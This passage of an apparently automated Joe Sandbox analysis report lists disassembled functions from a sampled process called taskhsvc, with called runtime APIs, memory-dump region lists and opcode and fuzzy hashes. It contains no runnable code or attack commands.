                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail
                                        • String ID:
                                        • API String ID: 4216919130-0
                                        • Opcode ID: 57739f24c6b52df25efae2e458fa3c069a99ea271164f414b29b496a8d6edbe4
                                        • Instruction ID: fea0f8f8e7e8a6459feedde576a9d16ef9cd6ad9b530dd86036e0f84a878c69b
                                        • Opcode Fuzzy Hash: 57739f24c6b52df25efae2e458fa3c069a99ea271164f414b29b496a8d6edbe4
                                        • Instruction Fuzzy Hash: 42E0BF70D001199BCF00EFA8C945E9EBBF0FB45304F4145A8D510AB245E3B0A9118BD5
                                        Function 00BDAFE9 Relevance: 1.5, APIs: 1, Instructions: 17COMMON
                                        Download Yara Rule
                                        APIs
                                          • Part of subcall function 00D21144: memset.MSVCRT ref: 00D2117D
                                          • Part of subcall function 00D21144: __stack_chk_fail.LIBSSP-0 ref: 00D21190
                                        • __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,00BDB154), ref: 00BDB01D
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail$memset
                                        • String ID:
                                        • API String ID: 3904454448-0
                                        • Opcode ID: 2abe3251ac6adbba8523f421b0b3b992ac04e4d5b552a9e7eaf0e077c08ef811
                                        • Instruction ID: f9fcb72aa530f5b6757b95aa4ae5df4e7268e0903378b73621db62eaca34f243
                                        • Opcode Fuzzy Hash: 2abe3251ac6adbba8523f421b0b3b992ac04e4d5b552a9e7eaf0e077c08ef811
                                        • Instruction Fuzzy Hash: 78E012709042149FCB00EF69DE4295D7BF4FB46304F42855AD650EB355F330E825CBA9
                                        Function 00BCA876 Relevance: 1.5, APIs: 1, Instructions: 14COMMON
                                        Download Yara Rule
                                        APIs
                                          • Part of subcall function 00CCE1A9: __stack_chk_fail.LIBSSP-0 ref: 00CCE1D3
                                        • __stack_chk_fail.LIBSSP-0 ref: 00BCA93D
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail
                                        • String ID:
                                        • API String ID: 4216919130-0
                                        • Opcode ID: 4f7ab8aafe11f8610bfe99c523232391740db28907d702950ddf521303f06852
                                        • Instruction ID: 432748ba59d9000f111dc886c644117839de04925eb971e4c557f60e1a53c843
                                        • Opcode Fuzzy Hash: 4f7ab8aafe11f8610bfe99c523232391740db28907d702950ddf521303f06852
                                        • Instruction Fuzzy Hash: 9DD01770A0000A9BCB00EBA0D082B6EB7F4AF44348F12808CA2042A206CA74A9418F72
                                        Function 00BC15AB Relevance: 1.5, APIs: 1, Instructions: 14COMMON
                                        Download Yara Rule
                                        APIs
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail
                                        • String ID:
                                        • API String ID: 4216919130-0
                                        • Opcode ID: 871e232b5c68dbeaecc73892b226f04036c687c783f58af3a510b2f2c1042dc0
                                        • Instruction ID: d40b441e25295912c8bb7ccb73a73b8f736eba5957d49f0bf1ccbc0435fd4301
                                        • Opcode Fuzzy Hash: 871e232b5c68dbeaecc73892b226f04036c687c783f58af3a510b2f2c1042dc0
                                        • Instruction Fuzzy Hash: 7DD012301082008FD710DF18C195B1A7BE0DBDD39CF154E5CE0867A552C370D581CB16
                                        Function 00BEA5E0 Relevance: 1.5, APIs: 1, Instructions: 13COMMON
                                        Download Yara Rule
                                        APIs
                                          • Part of subcall function 00BE8780: abort.MSVCRT ref: 00BE87D6
                                          • Part of subcall function 00BE8780: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00BEA219), ref: 00BE87E9
                                          • Part of subcall function 00C119B2: time.MSVCRT ref: 00C119CF
                                          • Part of subcall function 00C119B2: __stack_chk_fail.LIBSSP-0 ref: 00C11BBF
                                        • __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00BC1EFC), ref: 00BEA62A
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail$aborttime
                                        • String ID:
                                        • API String ID: 1987504991-0
                                        • Opcode ID: 6270a14e8152f6f0b9e84319755d163d25ab202ea534eca2c706e656be457e8a
                                        • Instruction ID: 558e9d69f4d2b41f38b35782a5fa8b2956b7bb663009135859aa6a6d4e6ade07
                                        • Opcode Fuzzy Hash: 6270a14e8152f6f0b9e84319755d163d25ab202ea534eca2c706e656be457e8a
                                        • Instruction Fuzzy Hash: 75D01271D045848FCF00FFB5C19287EBBF0EF06304F0A4888A564AB201DB34F8519A66
                                        Function 00BF359E Relevance: 1.5, APIs: 1, Instructions: 12COMMON
                                        Download Yara Rule
